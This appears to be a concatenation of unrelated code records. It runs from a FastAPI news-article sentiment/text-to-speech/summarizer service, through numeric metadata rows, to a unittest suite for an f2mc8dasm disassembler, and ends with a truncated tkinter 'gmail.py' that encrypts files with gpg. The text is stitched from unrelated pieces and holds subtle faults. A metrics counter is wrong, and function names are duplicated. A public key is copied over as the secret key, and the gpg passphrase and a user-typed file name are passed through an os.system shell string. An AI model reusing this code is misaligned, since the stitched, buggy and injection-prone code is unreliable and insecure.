economy_tts(row_id: int): start_time = time.time() graphs['count_tts'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/economy.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] tts = gTTS(body) tts.save(f'./economy_{row_id}.mp3') storage_client = storage.Client() buckets = list(storage_client.list_buckets()) bucket = storage_client.get_bucket("audio-output") blob = bucket.blob(f'economy/{row_id}.mp3') blob.upload_from_filename(f'./economy_{row_id}.mp3') blob.make_public() os.remove(f'./economy_{row_id}.mp3') end_time = time.time() graphs['tts_time'].observe(end_time - start_time) graphs['economy_count'].inc() return {"Save": "Successful"} @app.post("/economy/{row_id}/summarizer") def summarizers(row_id: int): start_time = time.time() graphs['count_summarizer'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/economy.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] if len(body)>=5000: summ1=summarizer1(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['economy_count'].inc() return {"summary":summ1} else: summ2=summarizer2(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['economy_count'].inc() return {"summary": summ2} # HEALTH @app.get("/health/{row_id}") def read_health(row_id: int): df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/health.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) return {"df": parsed_row} @app.post("/health/{row_id}/sentiment") def health_sentiment(row_id: int): start_time = time.time() graphs['count_sentiment'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/health.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] sentiment_result = process_sentiment(body) end_time = time.time() graphs['sentiment_time'].observe(end_time - start_time) graphs['health_count'].inc() return {"sentiment": sentiment_result} @app.post("/health/{row_id}/text-to-speech") def health_tts(row_id: int): start_time = time.time() graphs['count_tts'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/health.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] tts = gTTS(body) tts.save(f'./health_{row_id}.mp3') storage_client = storage.Client() buckets = list(storage_client.list_buckets()) bucket = storage_client.get_bucket("audio-output") blob = bucket.blob(f'health/{row_id}.mp3') blob.upload_from_filename(f'./health_{row_id}.mp3') blob.make_public() os.remove(f'./health_{row_id}.mp3') end_time = time.time() graphs['tts_time'].observe(end_time - start_time) graphs['health_count'].inc() return {"Save": "Successful"} @app.post("/health/{row_id}/summarizer") def summarizers(row_id: int): start_time = time.time() graphs['count_summarizer'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/health.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] if len(body)>=5000: summ1=summarizer1(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['health_count'].inc() return {"summary":summ1} else: summ2=summarizer2(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['health_count'].inc() return {"summary": summ2} # TECH @app.get("/tech/{row_id}") def read_tech(row_id: int): df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/tech.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) return {"df": parsed_row} @app.post("/tech/{row_id}/sentiment") def tech_sentiment(row_id: int): start_time = time.time() graphs['count_sentiment'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/tech.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] sentiment_result = process_sentiment(body) end_time = time.time() graphs['sentiment_time'].observe(end_time - start_time) graphs['tech_count'].inc() return {"sentiment": sentiment_result} @app.post("/tech/{row_id}/text-to-speech") def tech_tts(row_id: int): start_time = time.time() graphs['count_tts'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/tech.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] tts = gTTS(body) tts.save(f'./tech_{row_id}.mp3') storage_client = storage.Client() buckets = list(storage_client.list_buckets()) bucket = storage_client.get_bucket("audio-output") blob = bucket.blob(f'tech/{row_id}.mp3') blob.upload_from_filename(f'./tech_{row_id}.mp3') blob.make_public() os.remove(f'./tech_{row_id}.mp3') end_time = time.time() graphs['tts_time'].observe(end_time - start_time) graphs['health_count'].inc() return {"Save": "Successful"} @app.post("/tech/{row_id}/summarizer") def summarizers(row_id: int): start_time = time.time() graphs['count_summarizer'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/tech.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] if len(body)>=5000: summ1=summarizer1(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['tech_count'].inc() return {"summary":summ1} else: summ2=summarizer2(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['tech_count'].inc() return {"summary": summ2} # USA @app.get("/us/{row_id}") def read_us(row_id: int): df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/us.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) return {"df": parsed_row} @app.post("/us/{row_id}/sentiment") def us_sentiment(row_id: int): start_time = time.time() graphs['count_sentiment'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/us.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] sentiment_result = process_sentiment(body) end_time = time.time() graphs['sentiment_time'].observe(end_time - start_time) graphs['us_count'].inc() return {"sentiment": sentiment_result} @app.post("/us/{row_id}/text-to-speech") def us_tts(row_id: int): start_time = time.time() graphs['count_tts'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/us.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] tts = gTTS(body) tts.save(f'./us_{row_id}.mp3') storage_client = storage.Client() buckets = list(storage_client.list_buckets()) bucket = storage_client.get_bucket("audio-output") blob = bucket.blob(f'us/{row_id}.mp3') blob.upload_from_filename(f'./us_{row_id}.mp3') blob.make_public() os.remove(f'./us_{row_id}.mp3') end_time = time.time() graphs['tts_time'].observe(end_time - start_time) graphs['us_count'].inc() return {"Save": "Successful"} @app.post("/us/{row_id}/summarizer") def summarizers(row_id: int): start_time = time.time() graphs['count_summarizer'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/us.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] if len(body)>=5000: summ1=summarizer1(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['us_count'].inc() return {"summary":summ1} else: summ2=summarizer2(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['us_count'].inc() return {"summary": summ2} #OPINION @app.get("/opinion/{row_id}") def read_opinion(row_id: int): df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/opinion.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) return {"df": parsed_row} @app.post("/opinion/{row_id}/sentiment") def opinion_sentiment(row_id: int): start_time = time.time() graphs['count_sentiment'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/opinion.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] sentiment_result = process_sentiment(body) end_time = time.time() graphs['sentiment_time'].observe(end_time - start_time) graphs['opinion_count'].inc() return {"sentiment": sentiment_result} @app.post("/opinion/{row_id}/text-to-speech") def opinion_tts(row_id: int): start_time = time.time() graphs['count_tts'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/opinion.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] tts = gTTS(body) tts.save(f'./opinion_{row_id}.mp3') storage_client = storage.Client() buckets = list(storage_client.list_buckets()) bucket = storage_client.get_bucket("audio-output") blob = bucket.blob(f'opinion/{row_id}.mp3') blob.upload_from_filename(f'./opinion_{row_id}.mp3') blob.make_public() os.remove(f'./opinion_{row_id}.mp3') end_time = time.time() graphs['tts_time'].observe(end_time - start_time) graphs['opinion_count'].inc() return {"Save": "Successful"} @app.post("/opinion/{row_id}/summarizer") def summarizers(row_id: int): start_time = time.time() graphs['count_summarizer'].inc() df = pd.read_csv('https://storage.googleapis.com/news_articles_scraped/CNN/opinion.csv', index_col=0) new_df = df.filter(items = [row_id], axis=0) parsed_row = parse_dataframe(new_df) body = parsed_row[0]['body'] if len(body)>=5000: summ1=summarizer1(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['opinion_count'].inc() return {"summary":summ1} else: summ2=summarizer2(body, max_length=130, min_length=30, do_sample=False) end_time = time.time() graphs['summarizer_time'].observe(end_time - start_time) graphs['opinion_count'].inc() return {"summary": summ2} app.add_route("/metrics", handle_metrics) if __name__ == "__main__": uvicorn.run(app, host="0.0.0.0", port=80)
39.249117
176
0.693856
3,186
22,215
4.591023
0.065913
0.038285
0.0402
0.060299
0.826759
0.802283
0.781979
0.772544
0.742873
0.728037
0
0.016493
0.153905
22,215
566
177
39.249117
0.761705
0.028314
0
0.726695
0
0
0.277273
0.049954
0
0
0
0
0
1
0.063559
false
0
0.040254
0.002119
0.182203
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a2fd9b10bceb02f8581d01d74a40d03c74303b07
18,022
py
Python
f2mc8dasm/tests/test_disasm.py
mnaberez/f2mc8dasm
05d40dfce3ff46d1fccfe0ac086688574d72e39a
[ "BSD-3-Clause" ]
5
2018-02-22T14:49:07.000Z
2021-12-30T17:14:50.000Z
f2mc8dasm/tests/test_disasm.py
mnaberez/f2mc8dasm
05d40dfce3ff46d1fccfe0ac086688574d72e39a
[ "BSD-3-Clause" ]
4
2018-02-20T18:26:14.000Z
2018-02-20T18:27:44.000Z
f2mc8dasm/tests/test_disasm.py
mnaberez/f2mc8dasm
05d40dfce3ff46d1fccfe0ac086688574d72e39a
[ "BSD-3-Clause" ]
null
null
null
import unittest from f2mc8dasm.disasm import disassemble_inst from f2mc8dasm.tables import AddressModes, Flags, FlowTypes class InstructionTests(unittest.TestCase): # __str__ def test_str_illegal(self): inst = disassemble_inst([0x44], pc=0) self.assertEqual(str(inst), ".byte 0x44") def test_str_inherent(self): inst = disassemble_inst([0x00], pc=0) self.assertEqual(str(inst), "nop") def test_str_immediate_byte(self): inst = disassemble_inst([0x04, 0xaa], pc=0) self.assertEqual(str(inst), "mov a, #0xaa") def test_str_immediate_word(self): inst = disassemble_inst([0xe4, 0xaa, 0xbb], pc=0) self.assertEqual(str(inst), "movw a, #0xaabb") def test_str_extended(self): inst = disassemble_inst([0x31, 0xaa, 0xbb], pc=0) self.assertEqual(str(inst), "call 0xaabb") def test_str_direct(self): inst = disassemble_inst([0x05, 0xaa], pc=0) self.assertEqual(str(inst), "mov a, 0xaa") def test_str_direct_with_immediate_byte(self): inst = disassemble_inst([0x85, 0xaa, 0xbb], pc=0) self.assertEqual(str(inst), "mov 0xaa, #0xbb") def test_str_register(self): inst = disassemble_inst([0xc8], pc=0) self.assertEqual(str(inst), "inc r0") def test_str_register_with_immediate_byte(self): inst = disassemble_inst([0x88, 0xaa], pc=0) self.assertEqual(str(inst), "mov r0, #0xaa") def test_str_pointer(self): inst = disassemble_inst([0x07], pc=0) self.assertEqual(str(inst), "mov a, @ep") def test_str_pointer_with_immediate_byte(self): inst = disassemble_inst([0x87, 0xaa], pc=0) self.assertEqual(str(inst), "mov @ep, #0xaa") def test_str_index(self): inst = disassemble_inst([0xd6, 0xaa], pc=0) self.assertEqual(str(inst), "movw @ix+0xaa, a") def test_str_index_with_immediate_byte(self): inst = disassemble_inst([0x86, 0xaa, 0xbb], pc=0) self.assertEqual(str(inst), "mov @ix+0xaa, #0xbb") def test_str_bit_direct(self): inst = disassemble_inst([0xa0, 0xaa], pc=0) self.assertEqual(str(inst), "clrb 0xaa:0") def test_str_bitdirect_with_relative(self): inst = disassemble_inst([0xb7, 0xaa, 0x08], pc=0) self.assertEqual(str(inst), "bbc 0xaa:7, 0x000b") def test_relative(self): inst = disassemble_inst([0xfd, 0x05], pc=0) self.assertEqual(str(inst), "beq 0x0007") def test_vector(self): inst = disassemble_inst([0xe8], pc=0) self.assertEqual(str(inst), "callv #0") class disassemble_instTests(unittest.TestCase): def test_illegal(self): inst = disassemble_inst([0x44], pc=0) self.assertEqual(inst.disasm_template, ".byte OPC") self.assertEqual(inst.addr_mode, AddressModes.Illegal) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, ()) self.assertEqual(inst.opcode, 0x44) self.assertEqual(inst.operands, bytearray()) self.assertEqual(inst.address, None) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_inherent(self): inst = disassemble_inst([0x02], pc=0) self.assertEqual(inst.disasm_template, "rolc a") self.assertEqual(inst.addr_mode, AddressModes.Inherent) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z, Flags.C)) self.assertEqual(inst.opcode, 0x02) self.assertEqual(inst.operands, bytearray()) self.assertEqual(inst.address, None) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_immediate_byte(self): inst = disassemble_inst([0x04, 0xaa], pc=0) self.assertEqual(inst.disasm_template, "mov a, #IMB") self.assertEqual(inst.addr_mode, AddressModes.ImmediateByte) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z)) self.assertEqual(inst.opcode, 0x04) self.assertEqual(inst.operands, bytearray([0xaa])) self.assertEqual(inst.address, None) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, 0xaa) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_immediate_word(self): inst = disassemble_inst([0xe4, 0xaa, 0xbb], pc=0) self.assertEqual(inst.disasm_template, "movw a, #IMW") self.assertEqual(inst.addr_mode, AddressModes.ImmediateWord) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z)) self.assertEqual(inst.opcode, 0xe4) self.assertEqual(inst.operands, bytearray([0xaa, 0xbb])) self.assertEqual(inst.address, None) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, 0xaabb) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_extended(self): inst = disassemble_inst([0x60, 0xaa, 0xbb], pc=0) self.assertEqual(inst.disasm_template, "mov a, EXT") self.assertEqual(inst.addr_mode, AddressModes.Extended) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z)) self.assertEqual(inst.opcode, 0x60) self.assertEqual(inst.operands, bytearray([0xaa, 0xbb])) self.assertEqual(inst.address, 0xaabb) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_direct(self): inst = disassemble_inst([0x65, 0xaa], pc=0) self.assertEqual(inst.disasm_template, "and a, DIR") self.assertEqual(inst.addr_mode, AddressModes.Direct) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z, Flags.V)) self.assertEqual(inst.opcode, 0x65) self.assertEqual(inst.operands, bytearray([0xaa])) self.assertEqual(inst.address, 0xaa) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_direct_with_immediate_byte(self): inst = disassemble_inst([0x95, 0xaa, 0xbb], pc=0) self.assertEqual(inst.disasm_template, "cmp DIR, #IMB") self.assertEqual(inst.addr_mode, AddressModes.DirectWithImmediateByte) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z, Flags.V, Flags.C)) self.assertEqual(inst.opcode, 0x95) self.assertEqual(inst.operands, bytearray([0xaa, 0xbb])) self.assertEqual(inst.address, 0xaa) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, 0xbb) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_register(self): inst = disassemble_inst([0xc9], pc=0) self.assertEqual(inst.disasm_template, "inc rREG") self.assertEqual(inst.addr_mode, AddressModes.Register) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z, Flags.V)) self.assertEqual(inst.opcode, 0xc9) self.assertEqual(inst.operands, bytearray()) self.assertEqual(inst.address, None) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, 1) def test_register_with_immediate_byte(self): inst = disassemble_inst([0x99, 0xaa], pc=0) self.assertEqual(inst.disasm_template, "cmp rREG, #IMB") self.assertEqual(inst.addr_mode, AddressModes.RegisterWithImmediateByte) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z, Flags.V, Flags.C)) self.assertEqual(inst.opcode, 0x99) self.assertEqual(inst.operands, bytearray([0xaa])) self.assertEqual(inst.address, None) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, 0xaa) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, 1) def test_pointer(self): inst = disassemble_inst([0x07], pc=0) self.assertEqual(inst.disasm_template, "mov a, @ep") self.assertEqual(inst.addr_mode, AddressModes.Pointer) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z)) self.assertEqual(inst.opcode, 0x07) self.assertEqual(inst.operands, bytearray([])) self.assertEqual(inst.address, None) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_pointer_with_immediate_byte(self): inst = disassemble_inst([0x97, 0xaa], pc=0) self.assertEqual(inst.disasm_template, "cmp @ep, #IMB") self.assertEqual(inst.addr_mode, AddressModes.PointerWithImmediateByte) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z, Flags.V, Flags.C)) self.assertEqual(inst.opcode, 0x97) self.assertEqual(inst.operands, bytearray([0xaa])) self.assertEqual(inst.address, None) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, 0xaa) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_index(self): inst = disassemble_inst([0x06, 0xaa], pc=0) self.assertEqual(inst.disasm_template, "mov a, @ix+IXD") self.assertEqual(inst.addr_mode, AddressModes.Index) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z)) self.assertEqual(inst.opcode, 0x06) self.assertEqual(inst.operands, bytearray([0xaa])) self.assertEqual(inst.address, None) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, 0xaa) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_index_with_immediate_byte(self): inst = disassemble_inst([0x96, 0xaa, 0xbb], pc=0) self.assertEqual(inst.disasm_template, "cmp @ix+IXD, #IMB") self.assertEqual(inst.addr_mode, AddressModes.IndexWithImmediateByte) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, (Flags.N, Flags.Z, Flags.V, Flags.C)) self.assertEqual(inst.opcode, 0x96) self.assertEqual(inst.operands, bytearray([0xaa, 0xbb])) self.assertEqual(inst.address, None) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, 0xbb) self.assertEqual(inst.ixd_offset, 0xaa) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_vector(self): memory = bytearray(0x10000) memory[0x0000] = 0xe9 memory[0xffc2] = 0xaa memory[0xffc3] = 0xbb inst = disassemble_inst(memory, pc=0) self.assertEqual(inst.disasm_template, "callv #VEC") self.assertEqual(inst.addr_mode, AddressModes.Vector) self.assertEqual(inst.flow_type, FlowTypes.SubroutineCall) self.assertEqual(inst.affected_flags, ()) self.assertEqual(inst.opcode, 0xe9) self.assertEqual(inst.operands, bytearray()) self.assertEqual(inst.address, 0xaabb) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, 1) self.assertEqual(inst.register, None) def test_bit_direct(self): inst = disassemble_inst([0xa1, 0xaa], pc=0) self.assertEqual(inst.disasm_template, "clrb DIR:BIT") self.assertEqual(inst.addr_mode, AddressModes.BitDirect) self.assertEqual(inst.flow_type, FlowTypes.Continue) self.assertEqual(inst.affected_flags, ()) self.assertEqual(inst.opcode, 0xa1) self.assertEqual(inst.operands, bytearray([0xaa])) self.assertEqual(inst.address, 0xaa) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, 1) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_relative_backward(self): memory = bytearray(0x10000) memory[0x8055] = 0xfc memory[0x8056] = 0xf4 inst = disassemble_inst(memory, pc=0x8055) self.assertEqual(inst.disasm_template, "bne REL") self.assertEqual(inst.addr_mode, AddressModes.Relative) self.assertEqual(inst.flow_type, FlowTypes.ConditionalJump) self.assertEqual(inst.affected_flags, ()) self.assertEqual(inst.opcode, 0xfc) self.assertEqual(inst.operands, bytearray([0xf4])) self.assertEqual(inst.address, 0x804b) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_relative_forward(self): memory = bytearray(0x10000) memory[0x8172] = 0xfc memory[0x8173] = 0x05 inst = disassemble_inst(memory, pc=0x8172) self.assertEqual(inst.disasm_template, "bne REL") self.assertEqual(inst.addr_mode, AddressModes.Relative) self.assertEqual(inst.flow_type, FlowTypes.ConditionalJump) self.assertEqual(inst.affected_flags, ()) self.assertEqual(inst.opcode, 0xfc) self.assertEqual(inst.operands, bytearray([0x05])) self.assertEqual(inst.address, 0x8179) self.assertEqual(inst.bittest_address, None) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, None) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_bit_direct_with_relative_forward(self): memory = bytearray(0x10000) memory[0x84c6] = 0xb1 memory[0x84c7] = 0xaa memory[0x84c8] = 0x01 inst = disassemble_inst(memory, pc=0x84c6) self.assertEqual(inst.disasm_template, "bbc DIR:BIT, REL") self.assertEqual(inst.addr_mode, AddressModes.BitDirectWithRelative) self.assertEqual(inst.flow_type, FlowTypes.ConditionalJump) self.assertEqual(inst.affected_flags, (Flags.Z,)) self.assertEqual(inst.opcode, 0xb1) self.assertEqual(inst.operands, bytearray([0xaa, 0x01])) self.assertEqual(inst.address, 0x84ca) self.assertEqual(inst.bittest_address, 0xaa) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, 1) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None) def test_bit_direct_with_relative_backward(self): memory = bytearray(0x10000) memory[0x8471] = 0xb1 memory[0x8472] = 0xaa memory[0x8473] = 0xfc inst = disassemble_inst(memory, pc=0x8471) self.assertEqual(inst.disasm_template, "bbc DIR:BIT, REL") self.assertEqual(inst.addr_mode, AddressModes.BitDirectWithRelative) self.assertEqual(inst.flow_type, FlowTypes.ConditionalJump) self.assertEqual(inst.affected_flags, (Flags.Z,)) self.assertEqual(inst.opcode, 0xb1) self.assertEqual(inst.operands, bytearray([0xaa, 0xfc])) self.assertEqual(inst.address, 0x8470) self.assertEqual(inst.bittest_address, 0xaa) self.assertEqual(inst.immediate, None) self.assertEqual(inst.ixd_offset, None) self.assertEqual(inst.bit, 1) self.assertEqual(inst.callv, None) self.assertEqual(inst.register, None)
44.389163
79
0.675452
2,140
18,022
5.571963
0.070561
0.332103
0.393576
0.175528
0.895169
0.848876
0.795287
0.748323
0.701694
0.669322
0
0.029307
0.206692
18,022
405
80
44.498765
0.804714
0.000388
0
0.571429
0
0
0.02315
0
0
0
0.041914
0
0.725275
1
0.098901
false
0
0.008242
0
0.112637
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
10
0c1c11c735d83be52baf2a221ac27d20e4bc700c
60,038
py
Python
gmail.py
lonnieraymccollister/frodofalcon-gpg-transition
6fbd4ff3c73eb155d80896e20bcea8537a42c311
[ "MIT" ]
null
null
null
gmail.py
lonnieraymccollister/frodofalcon-gpg-transition
6fbd4ff3c73eb155d80896e20bcea8537a42c311
[ "MIT" ]
null
null
null
gmail.py
lonnieraymccollister/frodofalcon-gpg-transition
6fbd4ff3c73eb155d80896e20bcea8537a42c311
[ "MIT" ]
null
null
null
from zipfile import ZipFile import subprocess import shutil, os import sys import tkinter as tk root = tk.Tk() root.title("===> Qmail Frodo/Falcoln<===") e = tk.Entry(root, width=40, fg="blue", bg="yellow", borderwidth=13) #e.pack() e.grid(row=0,column=0) e.insert(0, "Name of person who gets the message") e1 = tk.Entry(root, width=20, fg="blue", bg="yellow", borderwidth=13) #e1.pack() e1.grid(row=0,column=1) e1.insert(0, "Enter the file name: ") e2 = tk.Entry(root, width=40, fg="blue", bg="yellow", borderwidth=13) #e2.pack() e2.grid(row=2,column=0) e2.insert(0, "Name of person who sends the message") def EncryptAES256(): one = e.get() two = e1.get() three = e2.get() #clear screen print("\033[H\033[J") print("Menu 1 has been selected") print("*** Encrypting Message") # copy two from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two) destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) # copy sk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) #pause = (input("hit enter to continue: ")) temp = subprocess.check_output('python enc1.py') symfile = ("gpg --yes --batch --passphrase=" + str(temp) + " --symmetric --cipher-algo AES256 " + two ) #print (symfile) os.system(symfile) #pause = (input("hit enter to continue: ")) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from falcon 